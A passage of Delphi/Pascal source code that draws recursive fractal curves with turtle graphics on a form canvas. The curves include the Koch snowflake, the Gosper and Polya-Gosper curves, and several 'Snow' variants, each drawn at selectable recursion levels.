IStringer(Level));
end; end else
begin
for lc := 2 to 4 do
begin
level := lc;
sign := 1;
gen_type := 3;
generator_size := 8;
init_size := 1;
initiator_x1[0] := -150;
initiator_x2[0] := 150;
initiator_y1[0] := 75;
initiator_y2[0] := 75;
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level, gen_type);
end;
TextOut(10, 10, 'Polya Gosper' + ' Level: ' +
IStringer(Level));
bRotateImage := False; {in the Drawing...}
bRotatingImage := True;
repeat Application.ProcessMessages until (bRotateImage =
True);
end; end;
end;
end;
procedure snow7(level: integer);
var
TempColor: TColor; maxcolx, maxrowy, {GfColor,}
lc, {lcc,counter,} i, generator_size, init_size {, gen_type}, sign:
integer;
{ Xpoints, Ypoints: array[0..24] of Extended;}
initiator_x1, initiator_x2, initiator_y1, initiator_y2: array[0..9]
of Extended;
procedure generate(X1: Extended; Y1: Extended; X2: Extended; Y2:
Extended;
level: integer; gen_type: integer; sign: integer);
var
j, k, set_type: integer;
temp: Extended;
Xpoints, Ypoints: array[0..24] of Extended;
begin
case gen_type of
1: begin
sign := -sign;
end;
2: begin
sign := -sign;
temp := X1;
X1 := X2;
X2 := temp;
temp := Y1;
Y1 := Y2;
Y2 := temp;
end;
3: begin
temp := X1;
X1 := X2;
X2 := temp;
temp := Y1;
Y1 := Y2;
Y2 := temp;
end;
end;
dec(level);
turtle_r := (sqrt((X2 - X1) * (X2 - X1) + (Y2 - Y1) * (Y2 - Y1)))
/ 3.0;
Xpoints[0] := X1;
Ypoints[0] := Y1;
Xpoints[7] := X2;
Ypoints[7] := Y2;
turtle_theta := point(X1, Y1, X2, Y2);
turtle_x := X1;
turtle_y := Y1;
turn(60 * sign);
step;
Xpoints[1] := turtle_x;
Ypoints[1] := turtle_y;
step;
Xpoints[2] := turtle_x;
Ypoints[2] := turtle_y;
turn(-60 * sign);
step;
Xpoints[3] := turtle_x;
Ypoints[3] := turtle_y;
turn(-60 * sign);
step;
Xpoints[4] := turtle_x;
Ypoints[4] := turtle_y;
turn(-60 * sign);
step;
Xpoints[6] := turtle_x;
Ypoints[6] := turtle_y;
turn(-60 * sign);
step;
Xpoints[5] := turtle_x;
Ypoints[5] := turtle_y;
if level = 0 then
begin
for k := 0 to generator_size - 1 do
begin
MainForm.Image2.Canvas.Moveto(Round(Xpoints[k] + 320),
Round(240 - Ypoints[k]));
MainForm.Image2.Canvas.Lineto(Round(Xpoints[k + 1] + 320),
Round(240 - Ypoints[k + 1]));
end;
end
else
begin
for j := 0 to generator_size - 1 do
begin
case j of
0, 5: set_type := 1;
1, 2, 3, 6: set_type := 2;
4: set_type := 3;
else set_type := 3;
end;
X1 := Xpoints[j];
X2 := Xpoints[j + 1];
Y1 := Ypoints[j];
Y2 := Ypoints[j + 1];
generate(X1, Y1, X2, Y2, level, set_type, sign);
end;
end;
end;
begin
{GfColor:=4;}
{pcxVGASetup;}
sign := 1;
generator_size := 7;
init_size := 1;
initiator_x1[0] := -150;
initiator_x2[0] := 150;
initiator_y1[0] := -50; { }
initiator_y2[0] := -50;
{ original ... backup
initiator_x1[0] := -125;
initiator_x2[0] := 125;
initiator_y1[0] := 0;
initiator_y2[0] := 0;
}
if level < 0 then level := 0
else if level > 8 then level := 8;
if Level > 0 then
begin
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level, 7 {gen type?}, sign);
end;
TextOut(10, 10, 'Snow 7 ' + ' Level: ' + IStringer(Level));
end; end else
begin
for lc := 1 to 4 do
begin
level := lc;
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level, 7, sign);
end;
TextOut(10, 10, 'Snow 7 ' + ' Level: ' + IStringer(Level));
{inc(GFColor); }
bRotateImage := False; {in the Drawing...}
bRotatingImage := True;
repeat Application.ProcessMessages until (bRotateImage =
True);
end;
end; end;
end;
procedure snowhall(level: integer);
var
TempColor: TColor; maxcolx, maxrowy, {GfColor,}
lc, {lcc,counter,} i, generator_size, init_size, set_type: integer;
sign: Extended;
{ Xpoints, Ypoints: array[0..24] of Extended;}
initiator_x1, initiator_x2, initiator_y1, initiator_y2: array[0..9]
of Extended;
procedure generate(X1: Extended; Y1: Extended; X2: Extended; Y2:
Extended;
level: integer; gen_type: integer; sign: Extended);
var
j, k, set_type: integer;
{ a,b,} temp: Extended;
Xpoints, Ypoints: array[0..24] of Extended;
begin
case gen_type of
1: sign := -sign;
2: begin
sign := -sign;
temp := X1;
X1 := X2;
X2 := temp;
temp := Y1;
Y1 := Y2;
Y2 := temp;
end;
3: begin
temp := X1;
X1 := X2;
X2 := temp;
temp := Y1;
Y1 := Y2;
Y2 := temp;
end;
end;
dec(level);
turtle_r := (sqrt((X2 - X1) * (X2 - X1) + (Y2 - Y1) * (Y2 - Y1)))
/ 3.0;
Xpoints[0] := X1;
Ypoints[0] := Y1;
Xpoints[11] := X2;
Ypoints[11] := Y2;
turtle_theta := point(X1, Y1, X2, Y2);
turn(60 * sign);
turtle_x := X1;
turtle_y := Y1;
step;
Xpoints[1] := turtle_x;
Ypoints[1] := turtle_y;
step;
Xpoints[2] := turtle_x;
Ypoints[2] := turtle_y;
turn(-60 * sign);
step;
Xpoints[3] := turtle_x;
Ypoints[3] := turtle_y;
turn(-60 * sign);
step;
Xpoints[4] := turtle_x;
Ypoints[4] := turtle_y;
turn(-120 * sign);
step;
turn(60 * sign);
step;
Xpoints[9] := turtle_x;
Ypoints[9] := turtle_y;
turn(120 * sign);
step;
Xpoints[10] := turtle_x;
Ypoints[10] := turtle_y;
turtle_r := (sqrt((Xpoints[9] - Xpoints[4]) * (Xpoints[9] -
Xpoints[4]) + (Ypoints[9] - Ypoints[4]) * (Ypoints[9] -
Ypoints[4]))) / 3.0;
turtle_theta := point(Xpoints[4], Ypoints[4], Xpoints[9],
Ypoints[9]);
turn(-60 * sign);
turtle_x := Xpoints[4];
turtle_y := Ypoints[4];
step;
Xpoints[5] := turtle_x;
Ypoints[5] := turtle_y;
step;
Xpoints[6] := turtle_x;
Ypoints[6] := turtle_y;
turn(60 * sign);
step;
Xpoints[7] := turtle_x;
Ypoints[7] := turtle_y;
turn(60 * sign);
step;
Xpoints[8] := turtle_x;
Ypoints[8] := turtle_y;
if level = 0 then
begin
for k := 0 to generator_size - 1 do
begin
MainForm.Image2.Canvas.Moveto(Round(Xpoints[k] + 320),
Round(240 - Ypoints[k]));
MainForm.Image2.Canvas.Lineto(Round(Xpoints[k + 1] + 320),
Round(240 - Ypoints[k + 1]));
end;
end
else
begin
for j := 0 to generator_size - 1 do
begin
if level = 1 then
begin
case j of
2, 8, 10: set_type := 0;
0, 5: set_type := 1;
1, 3, 4: set_type := 2;
6, 7, 9: set_type := 3;
else set_type := 3;
end;
end else
if level > 1 then
begin
case j of
2, 8, 10: set_type := 0;
0: set_type := 1;
1, 3, 4: set_type := 2;
5, 6, 7, 9: set_type := 3;
else set_type := 3;
end;
end else set_type := 3;
X1 := Xpoints[j];
X2 := Xpoints[j + 1];
Y1 := Ypoints[j];
Y2 := Ypoints[j + 1];
generate(X1, Y1, X2, Y2, level, set_type, sign);
end;
end;
end;
begin
{GfColor:=4; }
sign := 1;
set_type := 0;
generator_size := 11;
init_size := 1;
initiator_x1[0] := -150;
initiator_x2[0] := 150;
initiator_y1[0] := -75;
initiator_y2[0] := -75;
if level < 0 then level := 0
else if level > 8 then level := 8;
if Level > 0 then
begin
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level, set_type, sign);
end;
TextOut(10, 10, 'Snow Hall' + ' Level: ' + IStringer(Level));
end; end else
begin
for lc := 1 to 4 do
begin
level := lc;
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level, set_type, sign);
end;
Textout(10, 10, 'Snow Hall' + ' Level: ' + IStringer(Level));
{inc(GFColor); }
bRotateImage := False; {in the Drawing...}
bRotatingImage := True;
repeat Application.ProcessMessages until (bRotateImage =
True);
end; end;
end;
end; { of Snow Hall }
procedure snow13(level: integer);
var
TempColor: TColor; maxcolx, maxrowy, {GfColor,}
lc, {lcc,counter,} i, generator_size, init_size, {gen_type,} sign:
integer;
{ Xpoints, Ypoints: array[0..24] of Extended; }
initiator_x1, initiator_x2, initiator_y1, initiator_y2: array[0..9]
of Extended;
procedure generate(X1: Extended; Y1: Extended; X2: Extended; Y2:
Extended;
level: integer; gen_type: integer; sign: integer);
var
j, k, set_type: integer;
temp: Extended;
Xpoints, Ypoints: array[0..24] of Extended;
begin
case gen_type of
1: begin
sign := -sign;
end;
2: begin
sign := -sign;
temp := X1;
X1 := X2;
X2 := temp;
temp := Y1;
Y1 := Y2;
Y2 := temp;
end;
3: begin
temp := X1;
X1 := X2;
X2 := temp;
temp := Y1;
Y1 := Y2;
Y2 := temp;
end;
end;
dec(level);
turtle_r := (sqrt((X2 - X1) * (X2 - X1) + (Y2 - Y1) * (Y2 - Y1)))
/ 3.0;
Xpoints[0] := X1;
Ypoints[0] := Y1;
Xpoints[13] := X2;
Ypoints[13] := Y2;
turtle_theta := point(X1, Y1, X2, Y2);
turtle_x := X1;
turtle_y := Y1;
turn(60 * sign);
step;
Xpoints[1] := turtle_x;
Ypoints[1] := turtle_y;
step;
Xpoints[2] := turtle_x;
Ypoints[2] := turtle_y;
turn(-60 * sign);
step;
Xpoints[3] := turtle_x;
Ypoints[3] := turtle_y;
turn(-60 * sign);
step;
Xpoints[4] := turtle_x;
Ypoints[4] := turtle_y;
turn(-60 * sign);
step;
Xpoints[12] := turtle_x;
Ypoints[12] := turtle_y;
turn(-60 * sign);
step;
Xpoints[11] := turtle_x;
Ypoints[11] := turtle_y;
turtle_r := (sqrt((Xpoints[11] - Xpoints[4]) * (Xpoints[11]
- Xpoints[4]) + (Ypoints[11] - Ypoints[4]) * (Ypoints[11] -
Ypoints[4]))) / 3.0;
turtle_theta := point(Xpoints[4], Ypoints[4], Xpoints[11],
Ypoints[11]);
turtle_x := Xpoints[4];
turtle_y := Ypoints[4];
turn(-60 * sign);
step;
Xpoints[5] := turtle_x;
Ypoints[5] := turtle_y;
step;
Xpoints[6] := turtle_x;
Ypoints[6] := turtle_y;
turn(60 * sign);
step;
Xpoints[7] := turtle_x;
Ypoints[7] := turtle_y;
turn(60 * sign);
step;
Xpoints[8] := turtle_x;
Ypoints[8] := turtle_y;
turn(60 * sign);
step;
Xpoints[10] := turtle_x;
Ypoints[10] := turtle_y;
turn(60 * sign);
step;
Xpoints[9] := turtle_x;
Ypoints[9] := turtle_y;
if level = 0 then
begin
for k := 0 to generator_size - 1 do
begin
MainForm.Image2.Canvas.Moveto(Round(Xpoints[k] + 320),
Round(240 - Ypoints[k]));
MainForm.Image2.Canvas.Lineto(Round(Xpoints[k + 1] + 320),
Round(240 - Ypoints[k + 1]));
end;
end
else
begin
for j := 0 to generator_size - 1 do
begin
case j of
1, 2, 3, 4, 8, 9, 12: set_type := 0;
0, 5, 6, 7, 10, 11: set_type := 1;
else set_type := 1;
end;
X1 := Xpoints[j];
X2 := Xpoints[j + 1];
Y1 := Ypoints[j];
Y2 := Ypoints[j + 1];
generate(X1, Y1, X2, Y2, level, set_type, sign);
end;
end;
end;
begin
{GfColor:=4; }
sign := 1;
generator_size := 13;
init_size := 1;
initiator_x1[0] := -150;
initiator_x2[0] := 150;
initiator_y1[0] := -75; {-50}
initiator_y2[0] := -75; {50}
{ original
initiator_x1[0] := -125;
initiator_x2[0] := 125;
initiator_y1[0] := 0;
initiator_y2[0] := 0;
}
if level < 0 then level := 0
else if level > 8 then level := 8;
if Level > 0 then
begin
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level, 13, sign);
end;
TextOut(10, 10, 'Snow 13' + ' Level: ' + IStringer(Level));
end; end else
begin
for lc := 1 to 4 do
begin
level := lc;
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level, 13, sign);
end;
Textout(10, 10, 'Snow 13' + ' Level: ' + IStringer(Level));
{inc(GFColor); }
bRotateImage := False; {in the Drawing...}
bRotatingImage := True;
repeat Application.ProcessMessages until (bRotateImage =
True);
end; end;
end;
end; { of Snow13 }
procedure Snoflake(level: integer);
var
TempColor: TColor; maxcolx, maxrowy, GfColor,
lc, {lcc,counter,} i, generator_size, init_size: integer;
{Xpoints, Ypoints: array[0..24] of Extended;}
initiator_x1, initiator_x2, initiator_y1, initiator_y2: array[0..9]
of Extended;
procedure generate(X1: Extended; Y1: Extended; X2: Extended; Y2:
Extended;
level: integer);
var
j, k: integer;
{ a, b: Extended; }
Xpoints, Ypoints: array[0..24] of Extended;
begin
dec(level);
turtle_r := (sqrt((X2 - X1) * (X2 - X1) + (Y2 - Y1) * (Y2 - Y1)))
/ 3.0;
Xpoints[0] := X1;
Ypoints[0] := Y1;
Xpoints[4] := X2;
Ypoints[4] := Y2;
turtle_theta := point(X1, Y1, X2, Y2);
turtle_x := X1;
turtle_y := Y1;
step;
Xpoints[1] := turtle_x;
Ypoints[1] := turtle_y;
turn(60);
step;
Xpoints[2] := turtle_x;
Ypoints[2] := turtle_y;
turn(-120);
step;
Xpoints[3] := turtle_x;
Ypoints[3] := turtle_y;
if level > 0 then
begin
for j := 0 to generator_size - 2 do
begin
X1 := Xpoints[j];
X2 := Xpoints[j + 1];
Y1 := Ypoints[j];
Y2 := Ypoints[j + 1];
generate(X1, Y1, X2, Y2, level);
end;
end
else
begin
for k := 0 to generator_size - 2 do
begin
MainForm.Image2.Canvas.Moveto(Round(Xpoints[k] + 320),
Round(240 - Ypoints[k]));
MainForm.Image2.Canvas.Lineto(Round(Xpoints[k + 1] + 320),
Round(240 - Ypoints[k + 1]));
end;
end;
end;
begin
GfColor := 4;
generator_size := 5;
init_size := 3;
initiator_x1[0] := -150;
initiator_x1[1] := 0;
initiator_x1[2] := 150;
initiator_x2[0] := 0;
initiator_x2[1] := 150;
initiator_x2[2] := -150;
initiator_y1[0] := -75;
initiator_y1[1] := 185;
initiator_y1[2] := -75;
initiator_y2[0] := 185;
initiator_y2[1] := -75;
initiator_y2[2] := -75;
if level < 0 then level := 0
else if level > 8 then level := 8;
if Level = 0 then
begin
for lC := 1 to 4 do
begin
level := lc;
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level);
end;
TextOut(10, 10, ' Snowflake' + ' Level: ' +
IStringer(Level));
{inc(GFColor); }
end;
end; end else
begin
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, GfColor],
RGBArray[1, GfColor], RGBArray[2, GfColor]);
Pen.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level);
end;
TextOut(10, 10, ' Snowflake' + ' Level: ' + IStringer(Level));
bRotateImage := False; {in the Drawing...}
bRotatingImage := True;
repeat Application.ProcessMessages until (bRotateImage = True);
end; end;
end; { of Snow }
procedure gosper(level: integer);
var
TempColor: TColor; maxcolx, maxrowy, {gfColor,}
lc, i, generator_size, init_size: integer;
initiator_x1, initiator_x2, initiator_y1, initiator_y2: array[0..9]
of Extended;
procedure generate(X1: Extended; Y1: Extended; X2: Extended; Y2:
Extended;
level: integer);
var
j, k: integer;
{ a, b: Extended; }
Xpoints, Ypoints: array[0..24] of Extended;
begin
dec(level);
turtle_r := sqrt(((X2 - X1) * (X2 - X1) + (Y2 - Y1) * (Y2 - Y1))
/ 7.0);
Xpoints[0] := X1;
Ypoints[0] := Y1;
Xpoints[3] := X2;
Ypoints[3] := Y2;
turtle_theta := point(X1, Y1, X2, Y2);
turtle_x := X1;
turtle_y := Y1;
turn(19.1);
step;
Xpoints[1] := turtle_x;
Ypoints[1] := turtle_y;
turn(-60);
step;
Xpoints[2] := turtle_x;
Ypoints[2] := turtle_y;
if level > 0 then
begin
for j := 0 to generator_size - 1 do
begin
X1 := Xpoints[j];
X2 := Xpoints[j + 1];
Y1 := Ypoints[j];
Y2 := Ypoints[j + 1];
generate(X1, Y1, X2, Y2, level);
end;
end
else
begin
for k := 0 to generator_size - 1 do
begin
MainForm.Image2.Canvas.Moveto(Round(Xpoints[k] + 320),
Round(175 - Ypoints[k]));
MainForm.Image2.Canvas.Lineto(Round(Xpoints[k + 1] + 320),
Round(175 - Ypoints[k + 1]));
end;
end;
end;
begin
{GfColor := 4; }
generator_size := 3;
init_size := 6;
{ original ... backup}
initiator_x1[0] := 0;
initiator_x1[1] := 130;
initiator_x1[2] := 130;
initiator_x1[3] := 0;
initiator_x1[4] := -130;
initiator_x1[5] := -130;
initiator_x2[0] := 130;
initiator_x2[1] := 130;
initiator_x2[2] := 0;
initiator_x2[3] := -130;
initiator_x2[4] := -130;
initiator_x2[5] := 0;
initiator_y1[0] := 150;
initiator_y1[1] := 75;
initiator_y1[2] := -75;
initiator_y1[3] := -150;
initiator_y1[4] := -75;
initiator_y1[5] := 75;
initiator_y2[0] := 75;
initiator_y2[1] := -75;
initiator_y2[2] := -150;
initiator_y2[3] := -75;
initiator_y2[4] := 75;
initiator_y2[5] := 150;
{ always got lost on which way is UP
initiator_y1[0] := 125;
initiator_y1[1] := 50;
initiator_y1[2] := -100;
initiator_y1[3] := -175;
initiator_y1[4] := -100;
initiator_y1[5] := 50;
initiator_y2[0] := 50;
initiator_y2[1] := -100;
initiator_y2[2] := -175;
initiator_y2[3] := -100;
initiator_y2[4] := 50;
initiator_y2[5] := 175;
}
if level < 0 then level := 0
else if level > 8 then level := 8;
if Level > 0 then
begin
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level);
end;
Textout(10, 10, 'Gosper' + ' Level: ' + IStringer(Level));
end; end else
begin
for lc := 1 to 4 do
begin
level := lc;
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level);
end;
TextOut(10, 10, 'Gosper' + ' Level: ' + IStringer(Level));
{inc(GFColor); }
bRotateImage := False; {in the Drawing...}
bRotatingImage := True;
repeat Application.ProcessMessages until (bRotateImage =
True);
end;
end; end;
end; { of Gosper }
procedure HKoch8(level: integer);
var
TempColor: TColor; maxcolx, maxrowy, {GfColor,}
lc, i, generator_size, init_size: integer;
initiator_x1, initiator_x2, initiator_y1,
initiator_y2: array[0..9] of Extended;
procedure generate(X1: Extended; Y1: Extended; X2: Extended; Y2:
Extended;
level: integer);
var
j, k: integer;
Xpoints, Ypoints: array[0..24] of Extended; { dupe ? }
begin
dec(level);
turtle_r := sqrt((X2 - X1) * (X2 - X1) + (Y2 - Y1) * (Y2 - Y1)) /
4.0;
Xpoints[0] := X1;
Ypoints[0] := Y1;
Xpoints[8] := X2;
Ypoints[8] := Y2;
turtle_theta := point(X1, Y1, X2, Y2);
turtle_x := X1;
turtle_y := Y1;
step;
Xpoints[1] := turtle_x;
Ypoints[1] := turtle_y;
turn(90);
step;
Xpoints[2] := turtle_x;
Ypoints[2] := turtle_y;
turn(-90);
step;
Xpoints[3] := turtle_x;
Ypoints[3] := turtle_y;
turn(-90);
step;
Xpoints[4] := turtle_x;
Ypoints[4] := turtle_y;
step;
Xpoints[5] := turtle_x;
Ypoints[5] := turtle_y;
turn(90);
step;
Xpoints[6] := turtle_x;
Ypoints[6] := turtle_y;
turn(90);
step;
Xpoints[7] := turtle_x;
Ypoints[7] := turtle_y;
if level > 0 then
begin
for j := 0 to generator_size - 1 do
begin
X1 := Xpoints[j];
X2 := Xpoints[j + 1];
Y1 := Ypoints[j];
Y2 := Ypoints[j + 1];
generate(X1, Y1, X2, Y2, level);
end;
end
else
begin
for k := 0 to generator_size - 1 do
begin
MainForm.Image2.Canvas.Moveto(Round(Xpoints[k] + 320),
Round(240 - Ypoints[k]));
MainForm.Image2.Canvas.Lineto(Round(Xpoints[k + 1] + 320),
Round(240 - Ypoints[k + 1]));
end;
end;
end;
begin { Main block of }
{GfColor := 4;}
generator_size := 8;
init_size := 6;
initiator_x1[0] := -75;
initiator_x1[1] := 75;
initiator_x1[2] := 150;
initiator_x1[3] := 75;
initiator_x1[4] := -75;
initiator_x1[5] := -150;
initiator_x2[0] := 75;
initiator_x2[1] := 150;
initiator_x2[2] := 75;
initiator_x2[3] := -75;
initiator_x2[4] := -150;
initiator_x2[5] := -75;
initiator_y1[0] := 115;
initiator_y1[1] := 115;
initiator_y1[2] := 0;
initiator_y1[3] := -115;
initiator_y1[4] := -115;
initiator_y1[5] := 0;
initiator_y2[0] := 115;
initiator_y2[1] := 0;
initiator_y2[2] := -115;
initiator_y2[3] := -115;
initiator_y2[4] := 0;
initiator_y2[5] := 115;
if level < 0 then level := 0
else if level > 8 then level := 8;
if Level > 0 then
begin
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level);
end;
Textout(10, 10, 'Hexagonal Snowflake' + ' Level: ' +
IStringer(Level)); { the real Hex }
end; end else
begin
for lc := 1 to 4 do
begin
level := lc;
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level);
end;
Textout(10, 10, 'Hexagonal Snowflake' + ' Level: ' +
IStringer(Level)); { the real Hex }
{inc(GFColor); }
bRotateImage := False; {in the Drawing...}
bRotatingImage := True;
repeat Application.ProcessMessages until (bRotateImage =
True);
end;
end; end;
end; { of Procedure }
procedure qkoch8(level: integer);
var
TempColor: TColor; maxcolx, maxrowy, {gfcolor,}
lc, i, generator_size, init_size: integer;
initiator_x1, initiator_x2, initiator_y1, initiator_y2: array[0..9]
of Extended;
procedure generate(X1: Extended; Y1: Extended; X2: Extended; Y2:
Extended;
level: integer);
var
j, k: integer;
Xpoints, Ypoints: array[0..24] of Extended;
begin
dec(level);
turtle_r := sqrt((X2 - X1) * (X2 - X1) + (Y2 - Y1) * (Y2 - Y1)) /
4.0;
Xpoints[0] := X1;
Ypoints[0] := Y1;
Xpoints[8] := X2;
Ypoints[8] := Y2;
turtle_theta := point(X1, Y1, X2, Y2);
turtle_x := X1;
turtle_y := Y1;
step;
Xpoints[1] := turtle_x;
Ypoints[1] := turtle_y;
turn(90);
step;
Xpoints[2] := turtle_x;
Ypoints[2] := turtle_y;
turn(-90);
step;
Xpoints[3] := turtle_x;
Ypoints[3] := turtle_y;
turn(-90);
step;
Xpoints[4] := turtle_x;
Ypoints[4] := turtle_y;
step;
Xpoints[5] := turtle_x;
Ypoints[5] := turtle_y;
turn(90);
step;
Xpoints[6] := turtle_x;
Ypoints[6] := turtle_y;
turn(90);
step;
Xpoints[7] := turtle_x;
Ypoints[7] := turtle_y;
if level > 0 then
begin
for j := 0 to generator_size - 1 do
begin
X1 := Xpoints[j];
X2 := Xpoints[j + 1];
Y1 := Ypoints[j];
Y2 := Ypoints[j + 1];
generate(X1, Y1, X2, Y2, level);
end;
end
else
begin
for k := 0 to generator_size - 1 do
begin
MainForm.Image2.Canvas.Moveto(Round(Xpoints[k] + 320),
Round(240 - Ypoints[k]));
MainForm.Image2.Canvas.Lineto(Round(Xpoints[k + 1] + 320),
Round(240 - Ypoints[k + 1]));
end;
end;
end;
begin
{gfcolor:=4; }
{pcxVGASetup;}
generator_size := 8;
init_size := 4;
initiator_x1[0] := -130;
initiator_x1[1] := 130;
initiator_x1[2] := 130;
initiator_x1[3] := -130;
initiator_x2[0] := 130;
initiator_x2[1] := 130;
initiator_x2[2] := -130;
initiator_x2[3] := -130;
initiator_y1[0] := 130;
initiator_y1[1] := 130;
initiator_y1[2] := -130;
initiator_y1[3] := -130;
initiator_y2[0] := 130;
initiator_y2[1] := -130;
initiator_y2[2] := -130;
initiator_y2[3] := 130;
if level < 0 then level := 0
else if level > 8 then level := 8;
if Level > 0 then
begin
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level);
end;
TextOut(10, 10, 'Von Koch 8' + ' Level: ' + IStringer(Level));
end; end else
begin
for lc := 1 to 4 do
begin
level := lc;
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
